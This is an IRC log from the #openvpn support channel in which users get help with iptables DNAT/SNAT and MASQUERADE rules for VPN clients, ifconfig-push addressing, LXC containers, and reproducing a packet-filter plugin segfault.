09:58 <@dazo> latenite: you do that on the server side, and ignore what the clients have/use ... as you can't ever trust clients to do the right thing ... you primarily control the server
09:59 <@dazo> (nitpick ... you can only control the client 100% if it is your own workstation/laptop/whatever, which you use every day ... if others start the VPN connection, even through an automatic boot script, you can't fully trust the client)
09:59 < latenite> dazo, sorry? What exactly do I do on the server side?
09:59 <@dazo> latenite: the NAT
10:00 < latenite> dazo, oh sure I do the DNAT on the server side. But I was told and still belive that this **only** works for one client at once
10:01 <@dazo> latenite: not necessarily ... you need SNAT on the server side too, I'd presume
10:01 < latenite> Internet -> VPN-server -> DNAT -> client(s)
10:01 < latenite> but no plural for "client(s)"
10:01 <@dazo> And: client(s) -> VPN-server -> SNAT -> Internet
10:02 < MacGyver> pulz: Oh, my mistake, just a second.
10:03 < latenite> dazo, could you help me setting that up? I have the server up and running. I am just unsure on how(and which) IPs to push to the clients. So the clients can use the VPN connection to get online freely
10:03 <@dazo> latenite: so you need in PREROUTING DNAT rules which maps the public IP addresses of your clients to their VPN IP addresses ... and then POSTROUTING SNAT which maps the VPN IP address to their public IP address
10:03 <@dazo> latenite: and then you just use plain rfc1918 addresses on the VPN tunnel
10:04 < MacGyver> pulz: Sorry, I had things mixed up with ifconfig there. Assuming ipconfig-push is analogous to ifconfig-push, the first address is the address that gets assigned, the second should be the netmask, not an address.
10:04 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
10:04 < MacGyver> pulz: 10.8.0.0 is not a netmask. 255.255.0.0, e.g, is.
10:05 < latenite> dazo, would you know a tutorial or wiki on that? I am totaly new and super lost when it comes to setting up these rule.
10:05 <@dazo> iptables -t nat -I PREROUTING -i eth0 -d $PublicIP --to-destination $VPNIP
10:05 <@dazo> iptables -t nat -I POSTROUTING -i tun0 -d $VPNIP --to-destination $PublicIP
10:05 < pulz> MacGyver: are you shure, ref this http://openvpn.net/index.php/open-source/documentation/howto.html#policy
10:05 <@vpnHelper> Title: HOWTO (at openvpn.net)
10:06 <@dazo> pulz: 10.8.0.0 netmask 255.255.255.0 ..... here 10.8.0.0 is a network address ... and 10.8.0.1 is the first host address
10:06 <@dazo> !tcpip
10:06 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
10:06 <@ecrist> that's a nice link, dazo
10:07 < MacGyver> pulz: I'm 99% sure.
10:07 < MacGyver> pulz: I'm getting it from the openvpn manpage. The way I see it, there's two possibilities:
10:07 <@dazo> ecrist: thx! :)
10:08 < MacGyver> -Either the manpage is right, and that howto-link is wrong, in which case you should be using the netmask, or:
10:08 < MacGyver> -The manpage is wrong (or I'm interpreting it wrong), in which case you should be using a valid IP-address.
10:08 < latenite> dazo, are these the only two lines I need? Where do I put them to try it out?
10:08 < MacGyver> Either way, 10.8.0.0 is *not* a valid entry for the second argument to ipconfig-push
10:08 <@dazo> pulz: Both is right ... 10.8.0.0/24 means the 10.8.0.0 subnet ... where .0 is the network address and .1 is the first host address
10:09 <@dazo> MacGyver: ^^
10:09 < pulz> since i add this as client override, should the openvpn push this config to client ?
10:09 < pulz> without touching client configs ?
10:09 <@dazo> pulz: MacGyver:  The wiki/howto says "Virtual IP Range" and "subnet"
10:10 <@dazo> which means exactly what I've said twice now :)
10:10 <@dazo> latenite: if you have rfc1918 addresses, then yes ... that should be it
10:10 < MacGyver> dazo: Then my manpage is incomplete, I guess.
10:10 <@dazo> latenite: but that maps all port ranges ... you may consider to only allow this for a limited set of ports, though ... but that's kind of hardening this setup
10:11 <@dazo> MacGyver: which section do you look at?
10:11 <@dazo> (afair, the man page is quite correct on terminologies)
10:11 < pulz> it seems like there is 2 possible ways to set this in pfsense 2.x ref https://dl.dropbox.com/u/19352103/ovpn-static.PNG
10:11 < pulz> or are i completly wrong ?
10:12 < pulz> and yes i know that the ips are diffrent, just entered data for screenshot
10:12 <@dazo> pulz: 10.0.8.240/30 ... that gives you a small subnet with only 4 IP addresses .... 10.0.8.240 is the network address, 10.0.8.241 is the first host address, 10.0.8.242 is the second IP address and 10.0.8.243 is the broadcast address
10:13 < latenite> dazo, How do I do it? How where do I put these lines?
10:13 <@dazo> latenite: that's command line stuff ... this isn't strictly openvpn ... that's iptables setup
10:13 < MacGyver> dazo: Yeah, it appears you're right. I think I'm being confused by the manpage listing --ifconfig l rn, then explaining that rn can stand for an address in the case of tun, or a netmask in the case of tap, and --ifconfig-push *not* making that distinction as well as expanding rn to remote-netmask.
10:14 < pulz> dazo: your correct, i missread what the tunnel network options is for
10:15 -!- mattock_afk is now known as mattock
10:15 < MacGyver> I didn't check back with --ifconfig when I was reading --ifconfig-push, so I took address-netmask literally as netmask.
10:15 -!- raidz_away is now known as raidz
10:15 < kjs> Guys ecrist http://fpaste.org/RRTO/ serverside log
10:15 <@dazo> MacGyver: yeah ... --ifconfig can be confusing .... depending on if you are in p2p mode, p2mp (--server), if it's tun or tap mode and --topology setting as well
10:15 < latenite> dazo, so on the VM that runs openvpn all I do is: iptables -t nat -I PREROUTING -i eth0 -d 5.9.243.146 --to-destination *WHAT GOES HERE? * ?
10:15 <@dazo> MacGyver: depending on these combos ... the --ifconfig syntax may differ
10:15 <@dazo> latenite: the IP address of your VPN client
10:16 <@dazo> the VPN IP address given out by OpenVPN to your VPN client
10:16 < pulz> so using my first value actually should work ? "ipconfig-push 10.0.8.249 10.0.8.0"; ;
10:16 < kjs> does the CN on the certs have to be the same on each side ?
10:16 < pulz> without the double ; ofcourse
10:16 < latenite> dazo, so that actually has to happen dynamicaly? Since I will have multiple clients
10:17 <@dazo> latenite: or you can just have static mapping ... that VPN IP address .1 always gets mapped to 5.9.243.146  .... .2 always gets 5.9.243.147 ... and so on
10:18 <@dazo> latenite: which distro do you use?
10:19 < latenite> dazo, gentoo
10:19 < MacGyver> pulz: No. Like I said, the .0-address is not valid there, in either case. You cannot assign the network address, which is the first address in a subnet, to a client.
10:20 < latenite> dazo, now I am confused. Since 5.9.243.146 is not rfc1980 as you recommendet it to be
10:20 <@dazo> latenite: okay ... then remember to save your iptables setup before you boot .... /etc/init.d/iptables save ... iirc .... or hack on /var/lib/iptables/rules-save ... or whatever it was again
10:20 < MacGyver> pulz: If you're using routing mode, you *must* specify a valid address.
10:20 < pulz> so 2 successive ips are the correct? from what i can find from googling atleast ?
10:20 < MacGyver> pulz: They don't have to be successive. They only have to be in the same subnet *and valid host addresses for that subnet*.
10:21 < latenite> iptables -t nat -I PREROUTING -i eth0 -d 5.9.243.146 --to-destination 5.9.243.146 OR 10.8.0.2 ?
10:21 < latenite> dazo, ^
10:21 < pulz> MacGyver: but the problem is that nothing gets pushed anyway
10:21 < pulz> from psense that is
10:21 < MacGyver> pulz: Successive IP's will most likely satisfy that requirement, yes, but if your subnet is 10.8.0.0/24, then using 10.8.0.1 and 10.8.0.240 is fine.
10:22 < MacGyver> pulz: More likely is that you're not seeing it getting pushed because it's not a valid address to push.
10:22 <@dazo> latenite: what these SNAT/DNAT rules does is to provide a public IP address for your VPN clients .... so that if you have a client 10.8.0.2 mapped to 5.9.243.146  (DNAT/SNAT rules) ... whenever that client surfs the net over the VPN ... it's public IP will be 5.9.243.146 .... and when stuff on the Internet talks with your VPN client ... it will talk to the public  5.9.243.146 IP ... then your OpenVPN servers' iptables setup changes that to t
10:22 <@dazo> he 10.8.0.2 address before sending the traffic through the tunnel
10:23 < pulz> MacGyver: the dhcp pool is 10.0.8.x, so im testing "ipconfig-push 10.0.8.249 10.0.8.250";
10:23 < MacGyver> pulz: Ah, now *that* should work, yes.
10:23 <@dazo> DNAT/SNAT modifies the destination and source IP address ... and the iptables stuff keeps track of which internal IP address have which connections open
10:23 < pulz> MacGyver: but nothing happends :/
10:24 < pulz> i should see it from console right j?
10:24 < latenite> dazo, ahhh I start to get it. So for starters: I did not buy the pulic IP block in vain?! right. I still need it?!
10:24 < pulz> so long i dont daemonize it
10:25 < MacGyver> pulz: Tentative yes... But what are you and aren't you seeing? Can you pastebin your output somewhere?
10:25 <@dazo> latenite:  iptables -t nat -I PREROUTING -i eth0 -d 5.9.243.146 -j DNAT --to-destination 10.8.0.2     <<<--- this tells that connections to 5.9.243.146 should go to 10..8.0.2 on your inside net
10:25 < latenite> dazo, it's just that I *ALSO* need SNAT/DANT to map between the IPs? Did I get that right?!
10:26 <@dazo> latenite:  iptables -t nat -I POSTROUTING -i tun0 -s 10.8.0.2 -j SNAT --to-source 5.9.243.146     <<<--- this tells that connections from 10.8.0.2 should use the public IP address 5.9.243.146
10:26 <@dazo> notice the changes between PRE/POST routing, -d and -s, DNAT and SNAT and the --to-destination vs --to-source
10:27 < latenite> dazo, yes :D kind of makes sense a  little now.
10:27 < pulz> MacGyver: im guessing i should see a hint of pushing or error that my command is not correct http://pastebin.com/CeX5K2Uj
10:27 < latenite> dazo, For a minute I though I could have done it without the public IPs. Can you confirm that this is not the case?!
10:28 <@dazo> latenite: depends on what your goal is
10:29 < latenite> dazo, my goal is for the client to connect to the OpenVPN and be able to use the internet on any ports
10:29 <@dazo> latenite: do you want your VPN clients to access services on the Internet via the VPN tunnel?  If yes, then you need to use DNAT/SNAT or MASQUERADE (depending on if you want dedicated public IP addresses for each VPN client or if all can use the same public IP address) .... or if you just want VPN clients to only access an internal network
10:30 <@dazo> latenite: ahh, okay ... so for public Internet access, then  you need either DNAT/SNAT *or* MASQUERADE ... depending on if you want separate public IPs for VPN clients or not
10:30 < latenite> dazo, I dont even have an internel network yet. Its just the bare host with the VM that runs openvpn.
10:31 <@dazo> well, internal network can just as well be services on the VPN server ... only accessible via the VPN
10:31 <@dazo> (but that's nitpicking again)
10:32 < latenite> dazo, I am not sure if I need them to have separate public IPs.. ?! I *only thought* it had to be liek that.
10:33 < latenite> dazo, How would I reach the different clients from the outside world if they where only represented by a single IP ?
10:33 <@dazo> then you can make it a lot easier, if you don't need separate IPs .... just ditch the SNAT/DNAT rules .... and use: iptables -I POSTROUTING -o eth0 -s 10.8.0.0/24 -j MASQUERADE
10:33 <@dazo> and that's it
10:33 < latenite> dazo, is there a downside to MASQUERADE ?
10:34 <@dazo> latenite: you can't basically in a typical MASQUERADE setup ... you then need separate DNAT/SNAT rules in pairs
10:34 <@dazo> you can't access VPN clients from the outside using MASQ, that's what I tried to say :)
10:34 < MacGyver> pulz: That's the server output, right?
10:34 < MacGyver> pulz: Do you have client output as well?
10:35 <@dazo> latenite: so that's the "downside" ... depends on what you want to provide to your clients
10:35 < latenite> dazo, ohh ok. So  DNAT/SNAT  is what I realy need
10:35 < MacGyver> pulz: And, perhaps, is the client using an ifconfig-directive?
10:35 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
10:35 <@dazo> latenite: read the DNAT and SNAT sections in the iptables man page carefully .... and you'll see how you can map this better
10:35 < latenite> dazo,  I basicly want my clients to be "free" servers on the internet to host services and be reachable
10:36 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:36 <@dazo> latenite: do you care about VPN client security?  I mean, do you want to or need to firewall traffic hitting the VPN clients?   Or are they "customers" which needs to cover their own a**es?
10:37 < latenite> dazo, thank you tons for getting the basics to me. I am such a rooky when it comes to that sort of stuff :D
10:37 < pulz> MacGyver: thats client
10:37 <@dazo> latenite: if you need to care for the VPN client security .... then I'd add single PREROUTING/DNAT rules per port the clients would only forward those ports the clients uses for public services
10:37 < latenite> dazo, second one. I dont care if they are exposed to the nastyness of the net
10:38 < MacGyver> dazo: That's unnecessarily complicating things.
10:38 < MacGyver> dazo: You don't *need* NAT to firewall those clients.
10:38 <@dazo> latenite: okay ... then not filtering is the proper way
10:38 < MacGyver> dazo: You can fix this with iptables on the server while still using public IP's.
10:38 <@dazo> MacGyver: I wear my tinfoil-hat everyday ... even sleep with it
10:39 < MacGyver> dazo: Then you should know that NAT adds *no* security.
10:39  * dazo is paranoid by nature when it comes to the Internet
10:39 < latenite> dazo, so thats protecting the (say httpd client) by filtering only 80,443 on the vpn side? Did I get that right!?
10:39 <@dazo> MacGyver: NAT is no security ... but not forwarding ports the VPN clients don't listen to or are supposed to be accessed on, reduces the VPN traffic and protects the VPN clients from those attempts
10:40 < latenite> dazo, this will be my fist time setting up filter rules. And I have a general question befor I start to read/play with iptables...
10:40 <@dazo> MacGyver: as those attempts will then hit the INPUT rule on the VPN server instead afterwards
10:40 < MacGyver> dazo: Yes, but my point is that latenite can perfectly use his external IP's on the client as long as he's got the iptables-firewall setup on the server.
10:40 < latenite> ...my VM is a LXC (linux container) which uses the hosts kernel.
10:41 < MacGyver> dazo: You don't *have* to use MASQUERADE rules to have an effective block in iptables.
10:41 <@dazo> MacGyver: true
10:41 < MacGyver> To which I should add that iptables is a huge mindf*ck and I personally prefer to use a decent set of frontend-scripts like shorewall.
10:42 < pulz> MacGyver: i atleast managed to verify that the settings are applied, just tested for fun and its giving me 3 Options error: Unrecognized option or missing parameter(s) in [PUSH-OPTIONS]:10: ipconfig-push (2.2.1)
10:42 < latenite> ...so will my iptables setup in the VM(lxc) also effect the host? Since its the same kernel and iptables is kernel based?
10:42 <@dazo> nah ... iptables rules are easy :)
10:42 < MacGyver> pulz: Uhm.
10:42 < MacGyver> pulz: Shouldn't that be ifconfig-push, even though you might be on windows?
10:42 < latenite> Like what if I had 3 VMs with different iptables rules? Would that work?
10:43 < pulz> MacGyver: the client is running linux, so that might be the case
10:43 < MacGyver> dazo: Yes, they're easy, and easy to get wrong, but that's personal preference.
10:43 < MacGyver> latenite: Yes that would work.
10:43 < MacGyver> latenite: The way you would set this up...
10:44 <@dazo> MacGyver: yeah ... I've been doing firewalling with Linux since ipfwadm -> ipchains and then iptables .... so my brain is iptables native compatible :)
10:44 < latenite> dazo, :D great.
10:45 < latenite> ipfwadm -> I just had to google that :/
10:45 <@dazo> latenite: don't ever bother about ipfwadm ... it disappeared with Linux 2.0 kernels
10:45 < MacGyver> latenite: You'd have your ISP routing that public subnet to you. I don't know if that's hooked directly to your VPN server, but for the sake of clarity I'll assume that subnet gets routed directly to the VPN server. Then, the VPN server is running iptables and drops *everything* directed at *everything*, except for a few rules of traffic directed at specific IP-addresses in the VPN-range for the host servers.
10:46 <@dazo> latenite: 2.2 kernels came with ipchains ... and 2.4 and further shipped iptables
10:46 < MacGyver> Then it routes that subnet onward into the actual VPN, with clients using the public subnet provided by the ISP.
10:46 < MacGyver> No NATting is done and it's just as secure.
10:49 < MacGyver> Of course, if you need more clients than your public subnet provides (it was a /29, right? So that's 6 usable addresses, unless my brain is screwing with me), then other options become interesting, such as using SNAT / DNAT for a subset of an internal RFC1918 network and MASQUERADE for the rest.
10:51 < latenite> MacGyver, dazo yes I need more that just one client.
10:51 < MacGyver> latenite: But do you need more than 6?
10:52 < latenite> MacGyver, maybe.
10:52 < latenite> If I could have some friend use the vpn to tunnel the campus wifi..that would be cool
10:53 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
10:53 <@dazo> and probably breaking some rules for the usage of the wifi net ....
10:54 < latenite> but for started I d be happy to have a workinf setup at . One that gets my laptop to use the internt trough the vpn. So i am no longer imprisonated in that campus wifi that only allows port 80,443
10:54 -!- [Xaronic] [~Xaronic]@occupyuk.co.uk] has quit [Quit: Quit]
10:54 < latenite> dazo, I actually asked the it helpcenter. They said its ok for me to do
10:56 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
10:56 < latenite> ...so for starters I just read up on iptables now...to get me up to par to actually set up SNAT/DNAT
10:56 < latenite> dazo, MacGyver did you read my LXCvs. iptables question?
10:57 <@dazo> latenite: I don't have any hands-on experience with LXC ... but if I've understood it correctly, it should work just fine
10:57 < latenite> What id I have multiple LXCs with different iptable rules?
10:57 <@dazo> should be fine, as they are different containers
10:58 < latenite> dazo, ok so its 3am and I have surf class in 5 hours. Thats bad and cool at the same time :D
10:58 <@dazo> latenite: hopefully the water will be cold, so you'll wake up ;-)
10:58 < latenite> I ll go to bed and learn how to use iptables on the weekend
10:59 < latenite> dazo, they have sea fleas. nasty things. I did not even know such things exist until I came to australia :D
11:00 <@dazo> ugh
11:00 < latenite> the just itch. bad thing though....they get in *everywhere* :D
11:00 < latenite> you dont want to know :D
11:01  * dazo tries to think about something completely different now ..... :-P
11:01 < latenite> Still, me comming from a place where we dont surf ...its good fun
11:02 < latenite> dazo, so thanks again. I know have a plan on what to do.
11:02 <@dazo> no worries!
11:02 < latenite> dazo, you wouldn't habe a good link to get me started with iptables. Google is flooded, I know. But That makes it hard to pick the good stuff
11:03 <@dazo> latenite: I'd probably ask in #netfilter
11:03 <@dazo> for me the "easy stuff" is probably way too advanced for beginners
11:03 < latenite> dazo, #netfilter is the official iptables channel?
11:04 <@dazo> yeah
11:04 <@dazo> iptables is just the front-end to the kernel netfilter code
11:04 -!- AsadH is now known as zz_AsadH
11:04 <@dazo> or rather, one of the front-ends to netfilter
11:04 < latenite> 1st thing learned already :D
11:04 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Quit: mirco]
11:05 < latenite> cool then, that will be te first thing I'll do after lunch tommorow.
11:05 <@dazo> latenite: this might be a good starter ... http://www.linuxjournal.com/article/4815?page=0,1
11:05 <@vpnHelper> Title: Taming the Wild Netfilter | Linux Journal (at www.linuxjournal.com)
11:05 <@dazo> but those stuff is quite old these days
11:06 < latenite> y'all have pleasent day
11:06 <@dazo> u2
11:06 < latenite> dazo, now that you linked that to me...I can't but read it as my night lecture :D
11:07 -!- TMcTrain [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has joined #openvpn
11:11 <@dazo> latenite: well, since you're still here ... this one looks a bit more comprehensive .... http://www.frozentux.net/iptables-tutorial/iptables-tutorial.html#IPFILTERING
11:11 <@vpnHelper> Title: Iptables Tutorial 1.2.2 (at www.frozentux.net)
11:11 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
11:12 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 256 seconds]
11:17 < latenite> dazo, thx :D more for the weekend
11:17 < latenite> dazo, so for starterd I could just try to block pings, right?!
11:18 <@dazo> latenite: that's probably the safest place to start playing, esp if you don't have a console access to the box not depending on ssh
11:25 < latenite> dazo, actually I have ssh access to the VMs. I am just scared of my inital idea of : rules effecting the host because I use LXC and not a real VM
11:26 <@dazo> latenite: that's what I meant ... you should see if you could have a different "backdoor" ... like a serial console via an admin page at your VM provider
11:26 <@dazo> the serial console will then be unrelated to the networking stuff ... so if you really mess it up, you can fix it via the serial console log-in
11:28 < latenite> dazo, I do. I have a RDP thing with external IP and also a way ro reboot with a rescue system. So I sould be fairly safe to make mistakes
11:28 <@dazo> ahh, good!
11:29 < latenite> ...I am not tired, but I'd hate myself if I dont sleep now.
11:29 < latenite> dazo, are you around on the weekend?
11:30 <@dazo> latenite: probably not ... but I'm quite sure #netfilter guys will be more than helpful
11:30 <@ecrist> wow, dazo being all helpful and such.  this is an odd day
11:30 < latenite> dazo, cool then. I ll be around. I guess this vpn thing will keep me busy the next few days/weeks
11:31  * dazo slaps ecrist with a trout
11:31 <@dazo> ;-)
11:31 <@ecrist> THERE'S the dazo I know and love.
11:31 <@dazo> lol
11:34 < MacGyver> latenite: Regarding LXC with iptables: I prefer to setup iptables on the host only.
11:35 < MacGyver> latenite: But if that's not an option, my understanding is that it *should* work.
11:35 <@dazo> MacGyver: he's a LXC customer
11:35 -!- latenite [~latenite@138.77.121.79] has quit [Ping timeout: 260 seconds]
11:35 -!- latenite [~latenite@138.77.121.79] has joined #openvpn
11:36 < MacGyver> dazo: I also use LXC, I just prefer to setup iptables on the host only and route all traffic through that.
11:36 -!- Mcloven__ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
11:36 < MacGyver> dazo: But none of my containers run something like openVPN, i.e. none of my containers act as a router.
11:36 <@dazo> MacGyver: yeah, but if you buy a "VM" from a hosting provider giving you an LXC ... you probably won't be allowed to play with the host iptables rules
11:36 < MacGyver> Ah, right, "customer" like that.
11:37 < MacGyver> Yeah, I understand it should work.
11:37 < MacGyver> But I've never had to test it.
11:38 <@dazo> yeah, me neither ... well, I've seen demos of it, especially on Fedora 18 combined with systemd and SELinux containers ... and that's pretty impressive
11:38 <@dazo> (Dan Walsh even "booted" up a Debian user space in such an LXC running on Fedora 18)
11:40 -!- latenite [~latenite@138.77.121.79] has quit [Ping timeout: 252 seconds]
11:41 -!- master_of_master [~master_of@p4FF24E11.dip.t-dialin.net] has joined #openvpn
11:41 -!- zach__ [~zach@nat-192-95-29-123.bhs1.montreal.qbc.ca.nuked.co] has joined #openvpn
11:42 -!- latenite [~latenite@138.77.121.79] has joined #openvpn
11:43 -!- TMcTrain [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has quit [Ping timeout: 248 seconds]
11:43 < latenite> dazo, MacGyver I am a "customer" to my own root-server that has LXCs. I could have went for kvm also.
11:44  * dazo would have gone for the KVM solution, though
11:44 <@dazo> that gives you real root privileges
11:44 <@dazo> (on your VM, that is)
11:44 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
11:44 -!- mattock is now known as mattock_afk
11:45 -!- Netsplit *.net <-> *.split quits: master_o1_master, jave_, zach, Mcloven_
11:48 -!- latenite [~latenite@138.77.121.79] has quit [Ping timeout: 252 seconds]
11:50 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
11:50 -!- latenite [~latenite@138.77.121.79] has joined #openvpn
11:51 < latenite> dazo, hmm I keep getting disconnected...
11:52 < latenite> sorry
11:52 < latenite> I all just sleep now.
11:52 < latenite> later :D
11:52 -!- latenite [~latenite@138.77.121.79] has quit [Client Quit]
11:55 -!- Dennis84 [~dennis@mail.it-moebius.de] has joined #openvpn
11:55 < Dennis84> hi all
11:57 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:02 < Dennis84> can somebody tell me, if this patch is in the actual trunk for future stable versions?
12:02 < Dennis84> https://community.openvpn.net/openvpn/ticket/163#comment:4
12:02 <@vpnHelper> Title: #163 (Segfault in PF) – OpenVPN Community (at community.openvpn.net)
12:05 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
12:08 <@dazo> Dennis84: it's not understood *why* that *pfs pointer is NULL ... so that needs to be understood before we can commit it
12:08 <@dazo> as stated in comment #2 .... 6 months ago .... and I've not seen any attempts to try to dig into that
12:09 <@dazo> I vaguely remember tracing the code paths manually ... and iirc, at that time I couldn't understand how *pfs could be NULL
12:15 < Dennis84> dazo: hm i understand that this is a workaround
12:15 < Dennis84> but isn't it better to have no crash with workaround or you have a crash without?
12:15 <@dazo> Dennis84: yes, and we don't commit workarounds .... that doesn't really solve anything ... unfortunately, most of us who develop openvpn stuff now barely have time to scratch our own itches in OpenVPN ...
12:16 <@dazo> the worst thing which happens with workarounds is that, f.ex. a buffer overflow somewhere else gets hidden due to such fixes ... that will can cause greater pains later on
12:16 <@dazo> So it is needed to fully understand why this unexpected scenario happens
12:16 -!- master_o1_master [~master_of@p4FF24C6C.dip.t-dialin.net] has joined #openvpn
12:17 <@dazo> otherwise a hidden buffer overflow may again later bite us back as a security issue
12:17 -!- Porkepix [~Porkepix@ks353551.kimsufi.com] has quit [Quit: Computer has gone to sleep.]
12:17 -!- master_of_master [~master_of@p4FF24E11.dip.t-dialin.net] has quit [Read error: Operation timed out]
12:17 <@dazo> So in that context ... yes, a crash is better
12:18 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 264 seconds]
12:19 -!- catsup [~d@64.111.123.163] has joined #openvpn
12:19 < Dennis84> dazo: ok i understand
12:20 < Dennis84> i think you dont have time to solve such an issue, because there are other parts you have to work on
12:20 <@dazo> that's also true
12:20 < Dennis84> but is there a possibility, that this problem get fixed in a specific time?
12:20 < Dennis84> i know, that this is a very detailed problem
12:21 <@dazo> whenever someone comes up with a good thesis and a patch which covers that thesis
12:21 <@dazo> But if you want a specific time ... I'm sure we've solved this by the end of 2099
12:22 < Dennis84> ;)
12:22 < Dennis84> ok
12:22 < Dennis84> i dont want to be angry ;)
12:22 <@dazo> :)
12:22 < Dennis84> you all do a great work
12:22 < Dennis84> :)
12:25 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 245 seconds]
12:25 < Wulf> Dennis84: do you suffer from that problem?
12:25 -!- catsup [~d@64.111.123.163] has joined #openvpn
12:28 < Wulf> Dennis84: if so, are you able to reproduce the problem? Can you provide detailed instructions so that someone else can also reproduce it?
12:31 -!- catsup [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
12:32 -!- catsup [~d@64.111.123.163] has joined #openvpn
12:35 < Dennis84> Wulf: yes, i had this problem month ago and i can tell how to reproduce it
12:36 < Dennis84> i compiled openvpn with this patch, since this i have no errors
12:36 < Dennis84> or segfaults
12:36 < Wulf> Dennis84: okay. How? :)
12:38 -!- catsup [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
12:38 -!- catsup [~d@64.111.123.163] has joined #openvpn
12:39 < Dennis84> Wulf: first you have to compile the plugin
12:39 < Dennis84> http://backreference.org/2010/06/18/openvpns-built-in-packet-filter/
12:39 < Wulf> which one?
12:39 < Dennis84> this is the howto i followed
12:40 < Dennis84> i dont know, if its a problem that you follow the howto
12:40 < Dennis84> and i give you my specific configs
12:41 < Wulf> Dennis84: how should I know if it's a problem?
12:42 < Dennis84> i dont know if you can follow the howto or if you want i tell you everything you have to do ;)
12:44 -!- catsup [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
12:44 -!- catsup [~d@64.111.123.163] has joined #openvpn
12:45 < Wulf> Dennis84: okay, I compiled the plugin
12:47 < Dennis84> ok
12:48 < Dennis84> first you need a client-connect-script
12:48 < Wulf> Dennis84: can you make be a tarball for all required openvpn config?
12:48 < Wulf> scripts, etc
12:49 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 264 seconds]
12:50 < Dennis84> Wulf hmm i think its easier to tell you
12:50 < Dennis84> because to have to define the settings for your clients specific
12:51 -!- catsup [~d@64.111.123.163] has joined #openvpn
12:51 < Dennis84> but i think i can tell in 5 minues
12:51 < Wulf> okay...
12:51 < Dennis84> so, you have to create the client-connect script like mentioned in the howto
12:52 < pekster> If you attach all this info as another comment/attachment to the bug, it's likely to get more attention
12:53 < pekster> There are possibly developers interested (or who will eventually be interested) in fixing it that may not be in IRC right now, and a tarball + description on the bugreport is a more permenant way to describe a reproduction method
12:53 <@dazo> pekster++
12:54 < Dennis84> ok
12:54 < Dennis84> i will try
12:57 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 276 seconds]
12:57 -!- catsup [~d@64.111.123.163] has joined #openvpn
12:57 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 248 seconds]
13:03 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 276 seconds]
13:03 -!- catsup [~d@64.111.123.163] has joined #openvpn
13:05 < Dennis84> Wulf: i attached the file
13:06 < Dennis84> you have to check 2 directories
13:06 < Wulf> Dennis84: thanks!
13:06 < Dennis84> allccd
13:06 < Dennis84> and pf
13:06 < Dennis84> in every directory you need a file which contains the client-cert name
13:07 < Dennis84> you see an example
13:07 < Dennis84> in everydirectory
13:07 < Dennis84> no Wulf
13:07 < Dennis84> i have to say thank you!
13:07 < Wulf> huh?
13:08 < Wulf> ah
13:08 < Wulf> what do you mean by "client-cert name"?
13:09 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 252 seconds]
13:09 < Dennis84> you can define special settings for every client
13:09 < Wulf> Dennis84: don't want to
13:09 < Dennis84> Wulf: yes, but you have to create a pf file for every client
13:10 < Wulf> Dennis84: can you not include that?
13:10 < Dennis84> Wulf: i dont know you client-cert names? ;)
13:10 -!- catsup [~d@64.111.123.163] has joined #openvpn
13:10 < Wulf> Dennis84: I don't have any
13:10 < Dennis84> what? how do your clients connect and auth?
13:11 <@dazo> There are some example certs in the source tree you can use for such testing
13:11 < Wulf> Dennis84: you're missing the point. YOU have to provide complete configuration, including certificates, keys, etc.
13:11 <@dazo> http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=tree;f=sample/sample-keys;h=67d4abf9a9a50c5969bc6b712a5aa1911b743566;hb=master
13:11 <@vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/tree - sample/sample-keys/ (at openvpn.git.sourceforge.net)
13:12 < Wulf> so I basically have to change the "remote" setting in the client configs
13:13 < Dennis84> Wulf: sorry, i thought you would like to test with active users
13:13 < Dennis84> and only change the config
13:13 < Wulf> Dennis84: nope, I would set up a test environment for this
13:14 < Dennis84> Wulf: ok give me 5 minutes
13:16 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 276 seconds]
13:16 -!- catsup [~d@64.111.123.163] has joined #openvpn
13:22 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
13:22 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 276 seconds]
13:23 -!- catsup [~d@64.111.123.163] has joined #openvpn
13:28 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 260 seconds]
13:29 -!- catsup [~d@64.111.123.163] has joined #openvpn
13:31 < Dennis84> Wulf: uploaded again
13:31 < Dennis84> hope this works now
13:31 -!- MeanderingCode_ is now known as MeanderingCode
13:33 < Wulf> Dennis84: at least looks better
13:34 < Wulf> Dennis84: 32 or 64 bit?
13:34 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 245 seconds]
13:35 -!- catsup [~d@64.111.123.163] has joined #openvpn
